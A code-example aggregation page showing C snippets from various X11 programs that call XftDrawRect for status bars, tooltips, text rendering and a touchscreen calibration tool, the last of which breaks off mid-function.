Exemple #1
0
static void redraw(void)
{
	if (!frontbuffer || !backbuffer)
		return;

	for (int y = 0; y<screenheight; y++)
	{
		unsigned int* frontp = &frontbuffer[y * screenwidth];
		unsigned int* backp = &backbuffer[y * screenwidth];
		for (int x = 0; x<screenwidth; x++)
		{
			if (frontp[x] != backp[x])
			{
				frontp[x] = backp[x];
				render_glyph(frontp[x], x, y);
			}
		}
	}

	/* Draw a caret where the cursor should be. */

	int x = cursorx*fontwidth - 1;
	if (x < 0)
		x = 0;
	int y = cursory*fontheight;
	int h = fontheight;
	XftColor* c = &colours[COLOUR_BRIGHT];

	XftDrawRect(draw, c, x,   y,   1, h);
	XftDrawRect(draw, c, x-1, y-1, 1, 1);
	XftDrawRect(draw, c, x+1, y-1, 1, 1);
	XftDrawRect(draw, c, x-1, y+h, 1, 1);
	XftDrawRect(draw, c, x+1, y+h, 1, 1);
}
Exemple #2
0
static void
desktops(int start)
{
	char buf[4];
	XGlyphInfo extents;
	int x, i, curdesk, numdesk;
	int cellwidth = 14;

	curdesk = get_int_property("_NET_CURRENT_DESKTOP");
	numdesk = get_int_property("_NET_NUMBER_OF_DESKTOPS");
	if (curdesk < 0 || numdesk < 0)
		return;

	for (i=0, x=start; i<numdesk; i++, x+=cellwidth) {
		sprintf(buf, "%d", i+1);
		if (i == curdesk) {
			XftDrawRect(xftd, &white, x, 0, cellwidth, BARHEIGHT);
			XftTextExtentsUtf8(d, xftfont, (const FcChar8 *)buf, strlen(buf), &extents);
			XftDrawStringUtf8(xftd, &black, xftfont, x + (cellwidth - extents.xOff) / 2, 2 + xftfont->ascent, (const FcChar8 *)buf, strlen(buf));
		} else {
			XftDrawRect(xftd, &black, x, 0, cellwidth, BARHEIGHT);
			XftTextExtentsUtf8(d, xftfont, (const FcChar8 *)buf, strlen(buf), &extents);
			XftDrawStringUtf8(xftd, &white, xftfont, x + (cellwidth - extents.xOff) / 2, 2 + xftfont->ascent, (const FcChar8 *)buf, strlen(buf));
		}
	}
}
Exemple #3
0
static void
drawrect(GRect *clip, int x, int y, int w, int h, GColor c)
{
	if (x + w > clip->w)
		w = clip->w - x;
	if (y + h > clip->h)
		h = clip->h - y;

	x += clip->x;
	y += clip->y;

	if (c.x) {
		XGCValues gcv;
		GC gc;

		gcv.foreground = WhitePixel(d, screen);
		gcv.function = GXxor;
		gc = XCreateGC(d, pbuf, GCFunction|GCForeground, &gcv);
		XFillRectangle(d, pbuf, gc, x, y, w, h);
		XFreeGC(d, gc);
	} else {
		XftColor col;

		xftcolor(&col, c);
		XftDrawRect(xft, &col, x, y, w, h);
	}
}
Exemple #4
0
void render() {
	int cursor_pos;
	FcChar8 t;
	
	update_size();
	
	XftDrawRect(draw, &bg, 0, 0, w, h);

	if (prompt[0])
		draw_string(prompt, PADDING, PADDING + ascent);

	if (text_input) {
		draw_string(text, PADDING + prompt_width,
		                  PADDING + ascent);
		
		t = text[cursor];
		text[cursor] = '\0';
		cursor_pos = prompt_width + text_width(text);
		text[cursor] = t;

		draw_string("_", PADDING + 1 + cursor_pos, 
				PADDING + ascent);
	}

	if (draw_options)
		render_options(PADDING + ((text_input || prompt[0]) ?
		                ascent + descent : 0));

	XCopyArea(display, buf, win, gc, 0, 0, w, h, 0, 0);
}
Exemple #5
0
/* 繪出虛線方框 */
static unsigned int Draw_Missing_Char(winlist_t *win, int foreground_idx, int background_idx, int x, int y)
{
    int width = win->font_size;
    int x1, y1, x2, y2;

    x1 = x;
    y1 = y - win->font_size + 1;
    x2 = x1 + width - 1;
    y2 = y;

    if (background_idx >= 0 && background_idx <= MAX_COLORS)
    {
	XftDrawRect(win->draw, &gui->colors[background_idx], x1, y1, width, width);
    }
    x1++ ; y1++ ; x2 --; y2--;

    /* top */
    gui_Draw_Line(win, x1, y1, x2, y1, foreground_idx, False);
    /* right */
    gui_Draw_Line(win, x2, y1, x2, y2+1, foreground_idx, False);
    /* bottom */
    gui_Draw_Line(win, x1, y2, x2, y2, foreground_idx, False);
    /* left */
    gui_Draw_Line(win, x1, y1, x1, y2, foreground_idx, False);
    return win->font_size;
}
Exemple #6
0
void gui_Draw_3D_Box(winlist_t *win, int x, int y, int width, int height, int fill_idx, int boxstyle)
{
    Window w = win->window;
    GC lightGC = XCreateGC(gui->display, w, 0, NULL);
    GC darkGC  = XCreateGC(gui->display, w, 0, NULL);

    if (boxstyle)
    {
	XSetForeground(gui->display, lightGC, gui_Color(LIGHT_COLOR));
	XSetForeground(gui->display, darkGC, gui_Color(DARK_COLOR));
    }
    else
    {
	XSetForeground(gui->display, lightGC, gui_Color(DARK_COLOR));
	XSetForeground(gui->display, darkGC, gui_Color(LIGHT_COLOR));
    }
    XSetLineAttributes(gui->display, lightGC, 1, LineSolid, CapRound, JoinRound);
    XSetLineAttributes(gui->display, darkGC, 1, LineSolid, CapRound, JoinRound);

    int x2 = x + width - 1;
    int y2 = y + height - 1;
    XDrawLine(gui->display, w, lightGC, x, y, x2, y);
    XDrawLine(gui->display, w, lightGC, x, y, x, y2);
    XDrawLine(gui->display, w, darkGC, x, y2, x2, y2);
    XDrawLine(gui->display, w, darkGC, x2, y, x2, y2);
    if (fill_idx >= 0 && fill_idx <= MAX_COLORS)
    {
	XftDrawRect(win->draw, &gui->colors[fill_idx], x+1, y + 1, width-2, height-2);
    }
    XFreeGC(gui->display, lightGC);
    XFreeGC(gui->display, darkGC);
}
Exemple #7
0
static int
drawstring(char *str, int x, int flushright)
{
	XGlyphInfo extents;
	int erasemore = 10;

	XftTextExtentsUtf8(d, xftfont, (const FcChar8 *)str, strlen(str), &extents);
	if (flushright) {
		XftDrawRect(xftd, &black, x - extents.xOff - erasemore, 0, extents.xOff + erasemore, BARHEIGHT);
		XftDrawStringUtf8(xftd, &white, xftfont, x - extents.xOff, 1 + xftfont->ascent, (const FcChar8 *)str, strlen(str));
	} else {
		XftDrawRect(xftd, &black, x, 0, extents.xOff + erasemore, BARHEIGHT);
		XftDrawStringUtf8(xftd, &white, xftfont, x, 1 + xftfont->ascent, (const FcChar8 *)str, strlen(str));
	}
	return extents.xOff;
}
Exemple #8
0
static void
draw_text (struct widget_xft_data *data, char *lbl, int inverse)
{
    Screen *sc = XtScreen (data->widget);
    int screen = XScreenNumberOfScreen (sc);
    int y = data->xft_font->ascent;
    int x = inverse ? 0 : 2;
    char *bp = lbl;

    data->xft_draw = XftDrawCreate (XtDisplay (data->widget),
                                    data->p,
                                    DefaultVisual (XtDisplay (data->widget),
                                            screen),
                                    DefaultColormapOfScreen (sc));
    XftDrawRect (data->xft_draw,
                 inverse ? &data->xft_fg : &data->xft_bg,
                 0, 0, data->p_width, data->p_height);

    if (!inverse) y += 2;
    while (bp && *bp != '\0')
    {
        char *cp = strchr (bp, '\n');
        XftDrawStringUtf8 (data->xft_draw,
                           inverse ? &data->xft_bg : &data->xft_fg,
                           data->xft_font, x, y,
                           (FcChar8 *) bp,
                           cp ? cp - bp : strlen (bp));
        bp = cp ? cp + 1 : NULL;
        /* 1.2 gives reasonable line spacing.  */
        y += data->xft_font->height * 1.2;
    }

}
Exemple #9
0
void
tooltip_handle(Tooltip *tt, XEvent *ev)
{
	if(! tt->text)
		return;
	
	if(ev->type == Expose && ev->xexpose.count == 0)
	{
		XftDrawRect(tt->draw, &tt->border, 0, 0, tt->width, 1);
		XftDrawRect(tt->draw, &tt->border, 0, 1, 1, tt->height - 2);
		XftDrawRect(tt->draw, &tt->border, 0, tt->height - 1, tt->width, 1);
		XftDrawRect(tt->draw, &tt->border, tt->width - 1, 1, 1, tt->height - 2);
		XftDrawRect(tt->draw, &tt->background, 1, 1, tt->width - 2, tt->height - 2);
		if(tt->shadow.pixel)
			XftDrawString8(tt->draw, &tt->shadow, tt->font, 6, 3 + tt->extents.y + (tt->font_height - tt->extents.y) / 2, tt->text, tt->text_len);
		XftDrawString8(tt->draw, &tt->color, tt->font, 4, 1 + tt->extents.y + (tt->font_height - tt->extents.y) / 2, tt->text, tt->text_len);
	}
}
Exemple #10
0
void
WMDrawImageString(WMScreen *scr, Drawable d, WMColor *color, WMColor *background,
                  WMFont *font, int x, int y, char *text, int length)
{
    XftColor textColor;
    XftColor bgColor;

    wassertr(font!=NULL);

    textColor.color.red = color->color.red;
    textColor.color.green = color->color.green;
    textColor.color.blue = color->color.blue;
    textColor.color.alpha = color->alpha;;
    textColor.pixel = W_PIXEL(color);

    bgColor.color.red = background->color.red;
    bgColor.color.green = background->color.green;
    bgColor.color.blue = background->color.blue;
    bgColor.color.alpha = background->alpha;;
    bgColor.pixel = W_PIXEL(background);

    XftDrawChange(scr->xftdraw, d);

    XftDrawRect(scr->xftdraw, &bgColor, x, y,
                WMWidthOfString(font, text, length),
                font->height);

    if (font->screen->useWideChar) {
        wchar_t *wtext;
        const char *mtext;
        int len;

        mtext = text;
        wtext = (wchar_t *)wmalloc(sizeof(wchar_t)*(length+1));
        len = wmbsnrtowcs(wtext, &mtext, length, length);
        if (len>0) {
            XftDrawString32(scr->xftdraw, &textColor, font->font,
                            x, y + font->y, (XftChar32*)wtext, len);
        } else if (len==-1) {
            wwarning(_("Conversion to widechar failed (possible invalid "
                       "multibyte sequence): '%s':(pos %d)\n"),
                     text, mtext-text+1);
            /* we can draw normal text, or we can draw as much widechar
             * text as was already converted until the error. go figure */
            /*XftDrawString8(scr->xftdraw, &textColor, font->font,
             x, y + font->y, (XftChar8*)text, length);*/
        }
        wfree(wtext);
    } else if (font->screen->useMultiByte) {
        XftDrawStringUtf8(scr->xftdraw, &textColor, font->font,
                          x, y + font->y, (XftChar8*)text, length);
    } else {
        XftDrawString8(scr->xftdraw, &textColor, font->font,
                       x, y + font->y, (XftChar8*)text, length);
    }
}
Picture XftDrawPicture( XftDraw *draw )
{
    if ( ! draw ) return 0;
    if ( ! draw->render_set ) {
	// force the RENDER Picture to be created...
	XftColor color;
	color.color.red = color.color.green = color.color.blue = color.color.alpha =
	    color.pixel = 0;
	XftDrawRect( draw, &color, -100, -100, 1, 1 );
    }
    return draw->render.pict;
}
Exemple #12
0
static void
cpubar(int start)
{
	int i, len, title;
	long sum, diff, cpunow[CPUSTATES], cpudiff[CPUSTATES];
	int mib[] = { CTL_KERN, KERN_CPTIME };
	size_t size = sizeof(cpunow);

	title = drawstring("CPU: ", start, 0);

	if (sysctl(mib, 2, &cpunow, &size, NULL, 0) < 0)
		return;

	if (!cpulast[0]) {
		for (i=0, sum=0; i<CPUSTATES; i++)
			cpulast[i] = cpunow[i];
		return;
	}

	for (i=0, sum=0; i<CPUSTATES; i++) {
		if (cpunow[i] < cpulast[i])
			diff = LONG_MAX - cpulast[i] + cpunow[i];
		else
			diff = cpunow[i] - cpulast[i];
		sum += diff;
		cpudiff[i] = diff;
		cpulast[i] = cpunow[i];
	}

	for (i=0; i<MAXVAL-1; i++)
		busy[i] = busy[i+1];
	busy[MAXVAL-1] = 100 - (int)((100 * cpudiff[CP_IDLE]) / sum);

	XftDrawRect(xftd, &black, start + title, 0, MAXVAL, BARHEIGHT);
	for (i=0; i<MAXVAL; i++) {
		len = (int)((BARHEIGHT - 2) * busy[i] / 100);
		XftDrawRect(xftd, &green, start + title + i, BARHEIGHT - 1 - len, 1, len);
	}
}
Exemple #13
0
/* 繪出Utf8字元 */
static unsigned int Draw_Utf8_Char(winlist_t *win, XftFont *font, int foreground_idx, int background_idx, int x, int y, char *Utf8Char, int Utf8len)
{
    unsigned int width = Utf8_Char_Escapement(win->draw, font, Utf8Char, Utf8len);
    
    if (background_idx >= 0 && background_idx <= MAX_COLORS)
    {
	XftDrawRect(win->draw, &gui->colors[background_idx], x, y - win->font_size+1, width, win->font_size);
    }

    XftDrawStringUtf8(win->draw, &gui->colors[foreground_idx], font, x, y, (FcChar8 *)Utf8Char, Utf8len);

    return width;
}
Exemple #14
0
static int
xftfont_draw (struct glyph_string *s, int from, int to, int x, int y,
              bool with_background)
{
  struct frame *f = s->f;
  struct face *face = s->face;
  struct xftfont_info *xftfont_info = (struct xftfont_info *) s->font;
  struct xftface_info *xftface_info = NULL;
  XftDraw *xft_draw = xftfont_get_xft_draw (f);
  FT_UInt *code;
  XftColor fg, bg;
  int len = to - from;
  int i;

  if (s->font == face->font)
    xftface_info = (struct xftface_info *) face->extra;
  xftfont_get_colors (f, face, s->gc, xftface_info,
		      &fg, with_background ? &bg : NULL);
  block_input ();
  if (s->num_clips > 0)
    XftDrawSetClipRectangles (xft_draw, 0, 0, s->clip, s->num_clips);
  else
    XftDrawSetClip (xft_draw, NULL);

  if (with_background)
    XftDrawRect (xft_draw, &bg,
		 x, y - s->font->ascent, s->width, s->font->height);
  code = alloca (sizeof (FT_UInt) * len);
  for (i = 0; i < len; i++)
    code[i] = ((XCHAR2B_BYTE1 (s->char2b + from + i) << 8)
	       | XCHAR2B_BYTE2 (s->char2b + from + i));

  if (s->padding_p)
    for (i = 0; i < len; i++)
      XftDrawGlyphs (xft_draw, &fg, xftfont_info->xftfont,
		     x + i, y, code + i, 1);
  else
    XftDrawGlyphs (xft_draw, &fg, xftfont_info->xftfont,
		   x, y, code, len);
  unblock_input ();

  return len;
}
static void
pangoxft_view_render (gpointer      instance,
		      gpointer      surface,
		      PangoContext *context,
		      int          *width,
		      int          *height,
		      gpointer      state)
{
  XViewer *x = (XViewer *) instance;
  Pixmap pixmap = (Pixmap) surface;
  MyXftContext xft_context;
  XftDraw *draw;
  XftColor color;

  draw = XftDrawCreate (x->display, pixmap,
			DefaultVisual (x->display, x->screen),
			DefaultColormap (x->display, x->screen));

  /* XftDrawRect only fills solid.
   * Flatten with white.
   */
  color.color.red = ((opt_bg_color.red * opt_bg_alpha) >> 16) + (65535 - opt_bg_alpha);
  color.color.green = ((opt_bg_color.green * opt_bg_alpha) >> 16) + (65535 - opt_bg_alpha);
  color.color.blue = ((opt_bg_color.blue * opt_bg_alpha) >> 16) + (65535 - opt_bg_alpha);
  color.color.alpha = 65535;

  XftDrawRect (draw, &color, 0, 0, *width, *height);

  color.color.red = opt_fg_color.red;
  color.color.blue = opt_fg_color.green;
  color.color.green = opt_fg_color.blue;
  color.color.alpha = opt_fg_alpha;

  xft_context.draw = draw;
  xft_context.color = color;

  do_output (context, render_callback, NULL, &xft_context, state, width, height);

  XftDrawDestroy (draw);
}
void XftTextRenderer::drawRect(int x, int y, int w, int h, const GdkColor* color)
{
    
#if defined(USE_XFT_DRAWRECT)
    g_warning("(%d,%d,%d,%d)", x,y,w,h);
    XftColor xft_c;
    XRenderColor xrender_c;
    
    getXRenderColorFromGdkColor(color, &xrender_c);    

    XftColorAllocValue(xdisplay,
		       xvisual,
		       xcmap,
		       &xrender_c,
		       &xft_c);

    x -= gdkxoff;
    y -= gdkyoff;

    XftDrawRect(xftdraw, &xft_c, x, y, w, h);
    
    XftColorFree(xdisplay,
		 xvisual,
		 xcmap,
		 &xft_c);
#else
    gdk_gc_set_rgb_fg_color(gdkgc, const_cast<GdkColor*>(color));

    x -= gdkxoff;
    y -= gdkyoff;

    gdk_gc_set_fill (gdkgc, GDK_SOLID);
    gdk_draw_rectangle(gdkdrawable, gdkgc, TRUE, x, y, w, h);

#endif
}
Exemple #17
0
static void debrush_do_draw_string_default_xft(
        DEBrush *brush,
        int x, int y, const char *str,
        int len, bool needfill,
        DEColourGroup *colours)
{
    Window win = brush->win;
    GC gc=brush->d->normal_gc;
    XftDraw *draw;
    XftFont *font;

    if(brush->d->font==NULL)
        return;

    font=brush->d->font->font;
    draw=debrush_get_draw(brush, win);

    if(needfill){
        XGlyphInfo extents;
        if(ioncore_g.enc_utf8){
            XftTextExtentsUtf8(ioncore_g.dpy, font, (XftChar8*)str, len,
                               &extents);
        }else{
            XftTextExtents8(ioncore_g.dpy, font, (XftChar8*)str, len, &extents);
        }
        XftDrawRect(draw, &(colours->bg), x-extents.x, y-extents.y,
                    extents.width+10, extents.height);
    }

    if(ioncore_g.enc_utf8){
        XftDrawStringUtf8(draw, &(colours->fg), font, x, y, (XftChar8*)str,
                          len);
    }else{
        XftDrawString8(draw, &(colours->fg), font, x, y, (XftChar8*)str, len);
    }
}
Exemple #18
0
int
main(int argc, char *argv[])
{
	XEvent e;
	Atom type;
	XClassHint *h;
	XSetWindowAttributes wa;
	unsigned int desktop;
	struct pollfd pfd[1];
	int nfds;
	char *fontstr = FONT;
	int running = 1;

	d = XOpenDisplay(NULL);
	if (d == NULL) {
		fprintf(stderr, "Cannot open display\n");
		exit(1);
	}

	s = DefaultScreen(d);

	wa.override_redirect = 1;
	wa.background_pixmap = ParentRelative;
	wa.event_mask = ExposureMask | ButtonReleaseMask | ButtonPressMask;

	w = XCreateWindow(d, RootWindow(d, s), 0, BARPOS, BARWIDTH, BARHEIGHT, 0,
	    DefaultDepth(d, s), CopyFromParent, DefaultVisual(d, s),
	    CWOverrideRedirect | CWBackPixmap | CWEventMask, &wa);

	h = XAllocClassHint();
	h->res_name  = "status";
	h->res_class = "status";
	XSetClassHint(d, w, h);
	XFree(h);

	XStoreName(d, w, "status");

	type = XInternAtom(d, "_NET_WM_WINDOW_TYPE_DOCK", False);
	XChangeProperty(d, w, XInternAtom(d, "_NET_WM_WINDOW_TYPE", False),
	    XInternAtom(d, "ATOM", False), 32, PropModeReplace, (unsigned char *)&type, 1);

	type = XInternAtom(d, "_NET_WM_STATE_ABOVE", False);
	XChangeProperty(d, w, XInternAtom(d, "_NET_WM_STATE", False),
	    XInternAtom(d, "ATOM", False), 32, PropModeReplace, (unsigned char *)&type, 1);

	type = XInternAtom(d, "_NET_WM_STATE_STICKY", False);
	XChangeProperty(d, w, XInternAtom(d, "_NET_WM_STATE", False),
	    XInternAtom(d, "ATOM", False), 32, PropModeAppend, (unsigned char *)&type, 1); 

	desktop = 0xffffffff;
	XChangeProperty(d, w, XInternAtom(d, "_NET_WM_DESKTOP", False),
	    XInternAtom(d, "CARDINAL", False), 32, PropModeReplace, (unsigned char *)&desktop, 1);

	xftd = XftDrawCreate(d, w, DefaultVisual(d, s), DefaultColormap(d, s));

	XftColorAllocName(d, DefaultVisual(d, s), DefaultColormap(d, s),  "white",  &white);
	XftColorAllocName(d, DefaultVisual(d, s), DefaultColormap(d, s),  "black",  &black);
	XftColorAllocName(d, DefaultVisual(d, s), DefaultColormap(d, s),  "red",  &red);
	XftColorAllocName(d, DefaultVisual(d, s), DefaultColormap(d, s),  "green",  &green);

	xftfont = XftFontOpenXlfd(d, s, fontstr);
	if (!xftfont)
		xftfont = XftFontOpenName(d, s, fontstr);
	if (!xftfont)
		exit(1);

	XSelectInput(d, w, ExposureMask | ButtonPressMask | ButtonReleaseMask | Button1MotionMask);
	XSelectInput(d, RootWindow(d, s), PropertyChangeMask);

	XMapWindow(d, w);
	XFlush(d);

	pfd[0].fd = ConnectionNumber(d);
	pfd[0].events = POLLIN;

	while (running) {
		nfds = poll(pfd, 1, 1000);
		if (nfds == -1 || (pfd[0].revents & (POLLERR|POLLHUP|POLLNVAL)))
			break;
		if (nfds == 0) {
			redraw();
			XFlush(d);
			continue;
		}

		while (XPending(d)) {
			XNextEvent(d, &e);
			if (e.type == PropertyNotify &&
			    e.xproperty.window == RootWindow(d, s) &&
			    e.xproperty.atom == XInternAtom(d, "_NET_CURRENT_DESKTOP", True)) {
				redraw();
			}
			if (e.type == Expose) {
				XftDrawRect(xftd, &black, 0, 0, BARWIDTH, BARHEIGHT);
				redraw();
			}
			if (e.type == ButtonPress) {
				/*running = 0;
				break;*/
				redraw();
			}
		}
	}

	XftColorFree(d, DefaultVisual(d, s), DefaultColormap(d, s), &white);
	XftColorFree(d, DefaultVisual(d, s), DefaultColormap(d, s), &black);
	XftFontClose(d, xftfont);
	XftDrawDestroy(xftd);
	XDestroyWindow(d, w);
	XCloseDisplay(d);
	return 0;
}
static void setup_font_sample(GtkWidget* darea, Antialiasing antialiasing, Hinting hinting)
{
	const char* string1 = "abcfgop AO ";
	const char* string2 = "abcfgop";

	XftColor black, white;
	XRenderColor rendcolor;

	Display* xdisplay = gdk_x11_get_default_xdisplay();

#if GTK_CHECK_VERSION (3, 0, 0)
	Colormap xcolormap = DefaultColormap(xdisplay, 0);
#else
	GdkColormap* colormap = gdk_rgb_get_colormap();
	Colormap xcolormap = GDK_COLORMAP_XCOLORMAP(colormap);
#endif

#if GTK_CHECK_VERSION (3, 0, 0)
	GdkVisual* visual = gdk_visual_get_system ();
#else
	GdkVisual* visual = gdk_colormap_get_visual(colormap);
#endif
	Visual* xvisual = GDK_VISUAL_XVISUAL(visual);

	FcPattern* pattern;
	XftFont* font1;
	XftFont* font2;
	XGlyphInfo extents1 = { 0 };
	XGlyphInfo extents2 = { 0 };
#if !GTK_CHECK_VERSION (3, 0, 0)
	GdkPixmap* pixmap;
#endif
	XftDraw* draw;
	GdkPixbuf* tmp_pixbuf;
	GdkPixbuf* pixbuf;

	int width, height;
	int ascent, descent;

	pattern = FcPatternBuild (NULL,
		FC_FAMILY, FcTypeString, "Serif",
		FC_SLANT, FcTypeInteger, FC_SLANT_ROMAN,
		FC_SIZE, FcTypeDouble, 18.,
		NULL);
	font1 = open_pattern (pattern, antialiasing, hinting);
	FcPatternDestroy (pattern);

	pattern = FcPatternBuild (NULL,
		FC_FAMILY, FcTypeString, "Serif",
		FC_SLANT, FcTypeInteger, FC_SLANT_ITALIC,
		FC_SIZE, FcTypeDouble, 20.,
		NULL);
	font2 = open_pattern (pattern, antialiasing, hinting);
	FcPatternDestroy (pattern);

	ascent = 0;
	descent = 0;
	
	if (font1)
	{
		XftTextExtentsUtf8 (xdisplay, font1, (unsigned char*) string1,
		strlen (string1), &extents1);
		ascent = MAX (ascent, font1->ascent);
		descent = MAX (descent, font1->descent);
	}

	if (font2)
	{
		XftTextExtentsUtf8 (xdisplay, font2, (unsigned char*) string2, strlen (string2), &extents2);
		ascent = MAX (ascent, font2->ascent);
		descent = MAX (descent, font2->descent);
	}

	width = extents1.xOff + extents2.xOff + 4;
	height = ascent + descent + 2;

#if !GTK_CHECK_VERSION (3, 0, 0)
	pixmap = gdk_pixmap_new (NULL, width, height, visual->depth);
#endif

#if GTK_CHECK_VERSION (3, 0, 0)
	draw = XftDrawCreate (xdisplay, GDK_WINDOW_XID (gdk_screen_get_root_window (gdk_screen_get_default ())), xvisual, xcolormap);
#else
	draw = XftDrawCreate (xdisplay, GDK_DRAWABLE_XID (pixmap), xvisual, xcolormap);
#endif

	rendcolor.red = 0;
	rendcolor.green = 0;
	rendcolor.blue = 0;
	rendcolor.alpha = 0xffff;
	
	XftColorAllocValue(xdisplay, xvisual, xcolormap, &rendcolor, &black);

	rendcolor.red = 0xffff;
	rendcolor.green = 0xffff;
	rendcolor.blue = 0xffff;
	rendcolor.alpha = 0xffff;
	
	XftColorAllocValue(xdisplay, xvisual, xcolormap, &rendcolor, &white);
	XftDrawRect(draw, &white, 0, 0, width, height);
	
	if (font1)
	{
		XftDrawStringUtf8(draw, &black, font1, 2, 2 + ascent, (unsigned char*) string1, strlen(string1));
	}
	
	if (font2)
	{
		XftDrawStringUtf8(draw, &black, font2, 2 + extents1.xOff, 2 + ascent, (unsigned char*) string2, strlen(string2));
	}

	XftDrawDestroy(draw);

	if (font1)
	{
		XftFontClose(xdisplay, font1);
	}
	
	if (font2)
	{
		XftFontClose(xdisplay, font2);
	}

#if GTK_CHECK_VERSION (3, 0, 0)
	tmp_pixbuf = gdk_pixbuf_new (GDK_COLORSPACE_RGB, TRUE,8, width, height);
#else
	tmp_pixbuf = gdk_pixbuf_get_from_drawable(NULL, pixmap, colormap, 0, 0, 0, 0, width, height);
#endif
	pixbuf = gdk_pixbuf_scale_simple(tmp_pixbuf, 1 * width, 1 * height, GDK_INTERP_TILES);

#if !GTK_CHECK_VERSION (3, 0, 0)
	g_object_unref(pixmap);
#endif
	g_object_unref(tmp_pixbuf);

	g_object_set_data_full(G_OBJECT(darea), "sample-pixbuf", pixbuf, (GDestroyNotify) g_object_unref);

#if GTK_CHECK_VERSION (3, 0, 0)
	gtk_widget_set_size_request  (GTK_WIDGET(darea), width + 2, height + 2);
	g_signal_connect(darea, "draw", G_CALLBACK(sample_draw), NULL);
#else
	g_signal_connect(darea, "size_request", G_CALLBACK(sample_size_request), NULL);
	g_signal_connect(darea, "expose_event", G_CALLBACK(sample_expose), NULL);
#endif
}
Exemple #20
0
int
main(int argc, char *argv[], char *env[])
{
	char           *display_name = NULL;
	char	       *device_name = NULL;
	char	       *output_name = NULL;
	XSetWindowAttributes xswa;
	int             i = 0;
	double          a, a1, a2, b, b1, b2, xerr, yerr;
	int		xi_opcode, event, error;
	XExtensionVersion *version;
	XDeviceInfo	*info;
	XDevice		*device;
	long		 calib_data[4];
	unsigned long	 mask;
	unsigned char	 swap;
	int 		 keep_cursor = 0, ch;

	/* Crosshair placement */
	int		cpx[] = { 0, 0, 1, 1, 1 };
	int		cpy[] = { 0, 1, 0, 0, 1 };

	while ((ch = getopt(argc, argv, "cD:d:o:v")) != -1) {
		switch (ch) {
		case 'c':
			keep_cursor++;
			break;
		case 'D':
			display_name = optarg;
			break;
		case 'd':
			device_name = optarg;
			break;
		case 'o':
			output_name = optarg;
			break;
		case 'v':
			verbose = True;
			break;
		default:
			usage();
			/* NOTREACHED */
		}
	}
	argc -= optind;
	argv += optind;

	if (argc != 0)
		usage();

	/* connect to X server */
	if ((display = XOpenDisplay(display_name)) == NULL) {
		fprintf(stderr, "%s: cannot connect to X server %s\n",
		    __progname, XDisplayName(display_name));
		exit(1);
	}
	screen = DefaultScreen(display);
	root = RootWindow(display, screen);

	/* get screen size from display structure macro */
	xpos = 0;
	ypos = 0;
	width = DisplayWidth(display, screen);
	height = DisplayHeight(display, screen);

	if (XRRQueryExtension(display, &event, &error)) {
		int major, minor;

		if (XRRQueryVersion(display, &major, &minor) != True) {
			fprintf(stderr, "Error querying XRandR version");
		} else {
			printf("XRandR extension version %d.%d present\n",
			    major, minor);
			has_xrandr = True;
			if (major > 1 || (major == 1 && minor >=2))
				has_xrandr_1_2 = True;
			if (major > 1 || (major == 1 && minor >=3))
				has_xrandr_1_3 = True;
		}
	}

	if (output_name != NULL) {
		if (has_xrandr_1_2) {
			get_xrandr_config(display, root, output_name,
			    &xpos, &ypos, &width, &height);
		} else {
			fprintf(stderr, "%s: can not specify an output "
			    "whithout XRandr 1.2 or later", __progname);
			exit(2);
		}
	}
	if (!XQueryExtension(display, INAME, &xi_opcode,
		&event, &error)) {
		fprintf(stderr, "%s: X Input extension not available.\n",
		    __progname);
		exit(1);
	}

	version = XGetExtensionVersion(display, INAME);
	if (version == NULL ||
	    version == (XExtensionVersion *)NoSuchExtension) {
		fprintf(stderr, "Cannot query X Input version.\n");
		exit(1);
	}
	XFree(version);
	prop_calibration = XInternAtom(display, WS_PROP_CALIBRATION, True);
	if (prop_calibration == None) {
		fprintf(stderr, "Unable to find the \"%s\" device property.\n"
		    "There are probably no calibrable devices "
		    "on this system.\n", WS_PROP_CALIBRATION);
		exit(1);
	}
	prop_swap = XInternAtom(display, WS_PROP_SWAP_AXES, True);
	if (prop_swap == None) {
		fprintf(stderr, "Unable to find the \"%s\" device property\n",
		    WS_PROP_SWAP_AXES);
		exit(1);
	}
	info = find_device_info(device_name);
	if (info == NULL) {
		fprintf(stderr, "Unable to find the %s device\n",
			device_name ? device_name : "default");
		exit(1);
	}


	/* setup window attributes */
	xswa.override_redirect = True;
	xswa.background_pixel = BlackPixel(display, screen);
	xswa.event_mask = ExposureMask | KeyPressMask;
	mask = CWOverrideRedirect | CWBackPixel | CWEventMask;
	if (!keep_cursor) {
		xswa.cursor = create_empty_cursor();
		mask |= CWCursor;
	}
	win = XCreateWindow(display, RootWindow(display, screen),
			    xpos, ypos, width, height, 0,
			    CopyFromParent, InputOutput, CopyFromParent,
			    mask, &xswa);
	render_init();
	XMapWindow(display, win);
	XGrabKeyboard(display, win, False, GrabModeAsync, GrabModeAsync,
		      CurrentTime);
	XGrabServer(display);

	XClearWindow(display, win);

	if (verbose)
		printf("Calibrating %s\n", info->name);
	device = XOpenDevice(display, info->id);
	if (!device) {
		fprintf(stderr, "Unable to open the X input device \"%s\"\n",
		    info->name);
		return 0;
	}

	if (!register_events(info, device, 0))
		exit(1);

	uncalibrate(device);
calib:
	XftDrawRect(draw, &bg, 0, 0, width, height);

	for (i = 0; i < 5; i++) {
		draw_graphics(cpx[i], cpy[i], i);
		XFlush(display);
		if (!get_events(i))
			break;
		XftDrawRect(draw, &bg, 0, 0, width, height);
	}
	if (interrupted)
		cleanup_exit(device);

	/* Check if  X and Y should be swapped */
	if (fabs(x[0] - x[1]) > fabs(y[0] - y[1])) {

		calib.swapxy = 1;

		for (i = 0; i < 5; i++) {
			int t = x[i];
			x[i] = y[i];
			y[i] = t;
		}
	}

	/* get touch pad resolution to screen resolution ratio */
	a1 = (double) (x[4] - x[0]) / (double) (cx[4] - cx[0]);
	a2 = (double) (x[3] - x[1]) / (double) (cx[3] - cx[1]);
	/* get the minimum pad position on the X-axis */
	b1 = x[0] - a1 * cx[0];
	b2 = x[1] - a2 * cx[1];
	/* use the average ratio and average minimum position */
	a = (a1 + a2) / 2.0;
	b = (b1 + b2) / 2.0;
	xerr = a * width / 2 + b - x[2];
	if (fabs(xerr) > fabs(a * width * .01)) {
		fprintf(stderr, "Calibration problem: X axis error (%.2f) too high, try again\n",
			fabs(xerr));
		goto err;
	}
	calib.minx = (int) (b + 0.5);
	calib.maxx = (int) (a * width + b + 0.5);

	/* get touch pad resolution to screen resolution ratio */
	a1 = (double) (y[4] - y[0]) / (double) (cy[4] - cy[0]);
	a2 = (double) (y[3] - y[1]) / (double) (cy[3] - cy[1]);
	/* get the minimum pad position on the Y-axis */
	b1 = y[0] - a1 * cy[0];
	b2 = y[1] - a2 * cy[1];
	/* use the average ratio and average minimum position */
